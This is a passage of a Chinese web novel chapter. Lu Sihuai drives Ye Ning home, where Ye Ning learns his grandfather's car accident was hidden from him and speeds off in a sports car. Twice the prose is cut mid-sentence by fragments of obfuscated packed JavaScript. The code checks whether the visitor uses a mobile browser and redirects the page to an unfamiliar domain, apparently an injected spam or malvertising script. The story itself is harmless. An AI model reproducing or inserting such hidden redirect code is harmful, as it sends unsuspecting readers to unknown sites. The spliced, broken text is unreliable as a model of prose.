“…没有。”叶宁一个头两个大。 比起陆司淮,他觉得现在的翟文星可怕得多。 叶宁不再犹豫,俯身坐进副驾驶。 “路上小心。”翟文星站好最后一班岗,挥手告别。 叶宁点了点头。 陆司淮将副驾的窗户升起,启动引擎,车辆驶离码头。 前方渐渐驶入主路,道路旁灯光渐盛。 “翟文星说什么了。”陆司淮随口问。 叶宁无奈,沉默良久,扯了扯胸前的安全带:“…问我们是不是吵架了。” 陆司淮声音带着浅淡的笑意:“你怎么说的。” 叶宁:“。” “没有。”叶宁面无表情答道。 陆司淮笑了一声,将车上温度调高两度,车上重新安静下来。 叶宁偏头看着窗外。 前面一个红灯,陆司淮将车停下,侧过头,看了副驾驶位上的人一眼。 从昨晚那一串未接来电起,就一直心神不宁的模样……或者更早。 两小时后,车在饶水山半山腰停下。 叶家别墅就在半山腰。 叶宁在车上醒醒睡睡一个多小时,一想到要见爷爷,那种说不清道不明的情绪笼罩全身,连“是陆司淮送他饶水别墅”这事的冲击性都几近于无。 陆司淮的车没有开进去,就停在别墅外。 叶宁在车上静静坐了好几分钟。 叶宁坐了多久,陆司淮就等了多久,没问什么,也没催他,直到叶宁松开安全带。 “风大,早点进屋。”陆司淮最后说了一句。 叶宁扭头看了陆司淮一眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14093966|148492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 该请他进屋喝杯茶的…如果这是他家的话。 今天不适合。 叶宁起身下车,即将关车门的瞬间,他顿了下。 山风将他头发吹起,叶宁转过身,微一俯身,敲了敲副驾的玻璃。 车窗缓缓落下。 借着那方小小的窗框,叶宁与车内的陆司淮对视片刻,露出今天以来第一个真正意义上的笑脸。 山腰道路两旁灯光完全亮起,蜿蜒而上,似是无尽无穷。 叶宁就站在一盏路灯下面,眉眼弯弯。 “路上小心。” 陆司淮忽地有点想抽烟,没有缘由的。 他搭在方向盘上的手很轻地敲了敲:“嗯。” “那我进去了,你慢慢开。” 说完,叶宁转过身。 白色身影沿着别墅外的石阶慢步走上去,消失在路尽头。 陆司淮隐约听见有人喊了一句“回来了”。 他从车上下来,靠着车身,从外套口袋拿出烟和打火机,眉眼半阖着,将烟点燃。 青白色烟雾在火光中缭绕。 二十多分钟后,陆司淮手机铃声响起。 姚博文的声音在电话里传来:“送到了?” 陆司淮“嗯”了一声。 姚博文:“那你现在在哪?” 陆司淮:“饶水山。” 姚博文:“还在饶水山?” 姚博文原本以为陆司淮正从饶水山下来,可他隐约听见打火机清脆的声音,陆司淮从不在车里抽烟…… “你在饶水山哪里?” “山腰。” “你不会…还在叶宁家别墅门口吧?” “嗯。”陆司淮的表情隐在山间夜色里。 姚博文:“?” “人都送到了,你还在那干什么?”姚博文也不知道陆司淮在那边站了多久。 陆司淮将烟挟在指间,很淡地说了一句:“等等。” 姚博文极其不解:“等什么?” 陆司淮没答,他想起叶宁在知道叶老董事长飞机回国时的神情,皱了皱眉。 指间猩红光点被夜风吹得忽闪忽灭,烟身很快下去半截。 姚博文总觉得陆司淮现在的语气很熟悉。 很像…很像…对,像极了昨天在情人崖边,对他说“看着他,别让他离崖太近”的语气。 虽然姚博文看不见陆司淮的神情,但他听到了打火机的声音。 ——陆司淮身上带着烟,但其实没有瘾,也不常抽,只有在压情绪的时候,才会抽一根,抽得越凶,情绪也越重。 这两天见他抽烟的次数比这两个月都要多。 “你不放心叶宁?”姚博文疑惑道,“你不放心什么?整个云江谁不知道叶老爷子疼孙子,叶宁他能……” 姚博文倏地顿住。 他这感觉也太熟悉了。 当时他也是这么想当然地认为叶宁肯定不会从崖上掉下去,然后一分钟后,悬崖边下起了饺子。 “都回家了,”姚博文虽然觉得这感觉该死的熟悉,可理智终归占了上风,他说,“会不会是你多想了?叶宁都到家了,怎么想都不会有事……” 然而,就在姚博文话音落下的下一秒,他听到电话那头传来一道尖锐刺耳的转弯刹车声。 “什么动静?” 电话没有挂断,但电话那头的人显然已经不再回答。 姚博文心中有种不好的预感。 又过了不知两分钟还是三分钟,亦或更久,姚博文终于听到自刹车后第一道人声。 不是陆司淮。 而是一道陌生的声音。 那人着急忙慌的声音从电话里传来—— “陆、陆总,你在这里太好了!我们小少爷……” 电话骤然挂断。 21.车祸 饶水山位于云江南侧,位置稍偏,可因为盖过风水宝地的章,寸土寸金的名头不比云江中央金融贸易区差,最后被叶氏收入囊中。 叶家别墅位于半山腰。 山上入夜似乎更早,叶宁在台阶最后一层停下脚步,遥遥望向山脚。 山下长宁街万家灯火。 叶宁忽地有些不敢往前走了。 等下要说什么?会被发现吗?他能对着一个陌生人喊出爷爷吗? 叶宁自己也不知道。 他只是忽然很不合时宜地想起学生时期曾念过的几句诗。 经冬复历春,近乡情怯。 ……他现在的状况用近乡情怯大概也不合适。 只是它们倏地自己浮出来了,非本意而又自然而然地。 叶宁站在院子里停滞不前,正想到等会儿要说什么,一个人影朝着他跑过来。 他抬头一看,是爷爷的私人助理,秦理群。 从刚开始住院到现在,爷爷一共给他安排了两个私人助理,后来替他安排游轮事宜的便是秦理群。 明面上是助理,实则是集团高管团队成员之一,同时也是爷爷的亲信。 “回来了回来了,”秦理群边跑边朝着里头喊,“不用打电话了,回来了。” 随着他话音落下,原本安静的山间别墅像是被启动开关键,一下子热闹起来。 “让厨房把炖好的汤品端出来。” “拿件外套过来。” “唉唉唉,董事长你就别出去了,让秦助把小少爷带进来就好。” 叶宁听着忽远忽近的人声,觉得自己好像悬在空中,没有着落点。 秦理群手里不知道什么时候多了件外套,从花园一路跑到门口,气喘吁吁把外套披在叶宁身上:“昨天刚掉进海里,今天就穿这么一件?也不怕董事长担心。” 许是因为见到熟悉面孔,叶宁心平稳几分。 “不冷。”他说。 秦理群领着人往别墅走:“在码头有没有等很久?也是我太着急了,董事长突然回来,各种后续事宜堆在一起,都忘了今天是假期最后两天,没提前让司机出发去接你。” “没事,没等久。”叶宁把肩上外套拿下,挂在臂弯,顿了下,问:“爷爷呢。” “屋里呢。”秦理群说着,“唉”了一声,“你落水的事董事长已经知道了,一晚上没睡,昨晚给你打电话又都没接到,着急忙慌就赶回来了。” 叶宁喉咙有点干涩,浅浅吐了一口气,调整好状态,才开口:“昨天有点累,洗了澡就睡了,后来给爷爷打电话的时候,留在那边的秘书说他已经在飞机上了。” “知道,”秦理群道,“联系不上你,董事长就给翟家少爷打了电话,问了情况,还知道是云想的陆总救了你。” 听到陆司淮的名字,叶宁顿了下,又想到是从翟文星口中提到陆司淮,脑海里一下闪过那句“别太爱了”,竟莫名有些心虚。 叶宁:“。” 叶宁不着痕迹地做了一个深呼吸,再开口时,语气已经很平静:“翟文星都说什么了。” “倒也没说什么,”秦理群偏过头去看叶宁,“但能感觉出来关系应该很亲密。” 叶宁:“就…也还好。” 要说多亲密,应该也算不上。 但陆司淮救了他,今天又送他回来…… “是吗?”秦理群闻言还有些诧异。 叶宁“嗯”了一声,默了几秒,低头看着地上砌起来的鹅卵石:“…算吧。” “我以前也没听说这事。”秦理群道。 “说不定是海金和云想未来有什么合作动向,”秦理群直言,“看来是我们消息不灵通了。” “海金和云想?”叶宁忽然有些听不懂话题了。 “对啊,”秦理群说,“昨晚董事长给海金的少东家打电话,翟家这位少爷在电话里大夸特夸云想陆总,说他是第一时间跳下去救你的,也是陆总将你救回岸上,然后带回别墅的。海金的少东家和我们合作过几个工程,为人我也熟悉,很少见他这么夸过一个人,话里话外都有给他搭桥牵线的意思,像是要引荐给董事长,我以为他和云江这位新贵陆总关系很亲密呢。” 叶宁:“…………” 叶宁脚步微一踉跄,秦理群连忙将人扶起:“怎么好端端的突然摔了。” 叶宁撇过头去,站稳:“没事。” 见叶宁没事,秦理群继续开口:“还有云想这位陆……” “秦叔,”叶宁不经意捏了捏有些发烫的耳朵,面无表情打断秦理群的声音,“换个话题吧。” 秦理群:“换…什么?” 什么都好,就是别说陆司淮。 叶宁心不在焉,又不好强行换别的话题,于是说:“爷爷突然回来,对那边的项目有影响吗。” 这下轮到秦理群半天没出声。 叶宁没听见回答,转过头去看他,结果就看到秦理群一脸欲言又止的模样。 “怎么了?”叶宁问。 秦理群皱着眉叹了一口气,下定决定,艰难又心虚地开口:“小宁,还有一件事,董事长一直没敢跟你说,也让我们瞒着。” “就是…其实董事长他在北美那边的项目很早就结束了,他没回来,是因为遇到了一点小事故,受了点……” 然而秦理群话没能说完。 因为庭院那株苍劲的罗汉松前骤然出现一道人影。 那人有点瘦,但腰板很直,须发都是精神的黑色,他戴着眼镜,此时穿着一套黑漳缎桑蚕丝制成的太极服,看起来极其方正质朴,唯一有些突兀的,就是右手那根闪着冷银色、充满现代金属气息的、装着大四角助行器的拐杖。 ——无论怎么看,以他的身量和精神,都该配一根龙头文人杖才对。 因为隔得远,庭院灯光又不似屋内亮堂,叶宁看不太清楚他的模样,可心口却忽然不受控地剧烈跳动起来。 身旁人的话证实了他的预想。 秦理群明显有点着急起来:“董事长,你、你怎么出来了,不是让你在屋里等吗?你的腿…” 秦理群话没说完,被一声有些嘶哑的、同时也很刻意的咳嗽声打断:“站那干嘛,怎么不过来。” 秦理群知道这话不是对自己说的,扭头去看叶宁。 可叶宁没动。 剧烈的心跳让所有声音都变得缥缈起来。 “不过来,是想爷爷过去?”那人说完,用着与秦理群刚刚如出一辙的心虚语气又咳了下,然后嘟囔道,“不过来就不过来,那爷爷过去也一样。” 老人朝着他慢步靠近。 叶宁总算知道那根带着助行器拐杖的作用,因为来人的腿有些微跛,像是受了伤。 叶宁思绪还没转过弯,可脚步已经不受控制地抬起,就要跑向爷爷—— 下一秒。 庭院里灯光倏地全部亮起,叶宁脚步猛地顿住。 他看清了来人的模样。 …和爷爷一模一样的一张脸,一模一样的气息,叶宁记在骨子里的熟悉的气息。 叶宁只觉得身体每一条神经都在发疼、颤抖,骨骼发出刺耳的碎裂声。 身体内像破了一道口,有什么东西发出嘶声裂肺的哭喊,从那口子里涌出来。 是眼泪。 眼泪从叶宁眼眶中无止无尽地淌出来。 叶绍章从没见过叶宁哭成这样子, 他只是哭着,没叫没喊,却让人感觉到撕心裂肺。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14105324|148492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶绍章几十年人生中都没有过这么棘手慌张的时刻,他慌到连助行器都扔在一旁,也不顾脚伤,带着微跛的脚步小跑过来,用宽厚温暖的手掌去抹叶宁的眼泪。 “怎么了怎么了?受什么委屈了?别哭别哭,跟爷爷说,是不是昨天掉海里受伤了?” 叶绍章每说一个字,叶宁就好像被巨大的石块碾压一遍。 “董事长我早说过了,车祸的事就不该瞒着小宁的,”秦理群在一旁急得直拍大腿,“你说你要真想瞒,就等伤都痊愈了再回来,一听小少爷落水非要着急忙慌赶回来,你看,现在把小宁急成这样!” 叶宁身体已经空透了,像是一副干枯的躯壳,几乎没有力气去消化任何一个字眼。 可在听到“车祸”两个字的时候,早已疼到麻木的心脏仍旧不由自主地战栗。 “车祸?”叶宁张嘴是喑哑的气声。 怎么又是车祸。 为什么又是车祸。 “爷爷没事,宁宁,爷爷没事,就是简单的汽车追尾,做了个脚踝骨置换的小手术,术后脚部恢复都好,前段时间不给你打视频电话是因为肺部有点感染,伤了嗓子,也不严重,除了嗓子有点肿胀其他都好……” 可叶宁已经一个字都听不进去了。 “车祸”两个字将一些被尘封的、刻意遗忘的记忆拖泥带水扯出来。 医院刺骨的消毒水气味,心脏监护仪骤然加快又落下,最后化为一声长鸣的鸣音,破晓的微光,消散的夜幕,医生护士匆忙的脚步声,哭声,祈祷声,连成一片…… 叶宁站在这里,眼前却不是山,不是风,而是医院那条长到没有尽头的走廊。 他像是一块无机质的机械,麻木地转身,麻木地往两侧看,站稳,看向庭院观景鱼池旁的那辆迈凯伦。 有车,私人领域没有人,可以开车走。 爷爷车祸去世后那几天他就是这样,从山脚开到山顶,再从山顶开到山脚,从早到晚,让自己冷静下来,他听爷爷的话,不超速,很安全,叶宁机械而又缓滞地想。 车钥匙就放在挡风玻璃前,叶宁拿过钥匙,解锁,上车,启动引擎,挂倒挡,提速,打方向换前进档,再度提速。 迈凯伦塞纳一个漂移掉头之后,沿着外侧出口冲出别墅。 庭院内开赛车出身的司机李隆着急忙慌跑过来,他能看出迈凯伦车速不算太快,再加上饶水山是私人领地,不让他人进出,夜间山上无人行走,应该不会出意外…… 但想归想,顶级超跑那骇人的咆哮声浪在饶水山山腰上空盘旋,仍旧带出一种惊心动魄的声威。 别墅内所有人都冲了出来。 叶绍章手都是抖的,一个字都说不出来,秦理群吓得魂飞魄散,第一个反应过来,朝着别墅大门疯狂跑去。 ——小宁开走的那条路是山腰北侧,从上面绕下来还有几分钟的车程。 “快快,李隆你去车库把车开出来,一定要拦……”秦理群边朝里头喊,边疾步冲到门口,正要往路上跑,却突然看到别墅门口停着的一辆黑色迈巴赫。 车旁还站了一个人。 秦理群大脑宕机。 这是…云想陆总? 秦理群脚步都停了,愣了好几秒,猛地一拍手,脑子突然清明,像看到菩萨似的拼命朝着陆司淮跑过去。 “陆、陆总,你在这里真的太好了,”秦理群声音还喘着,“拜托帮帮忙,我们小少爷刚刚知道我们董事长出车祸还瞒着他的事了,现在情绪很不对,刚刚抓了车钥匙开着车就冲出去了,车库现在正在调车追,我怕来不及,你能帮忙拦……” 不等秦理群说完,一道白色车影从上路尽头飞驰而来。 ——迈凯伦塞纳的轰鸣声将所有人声淹没。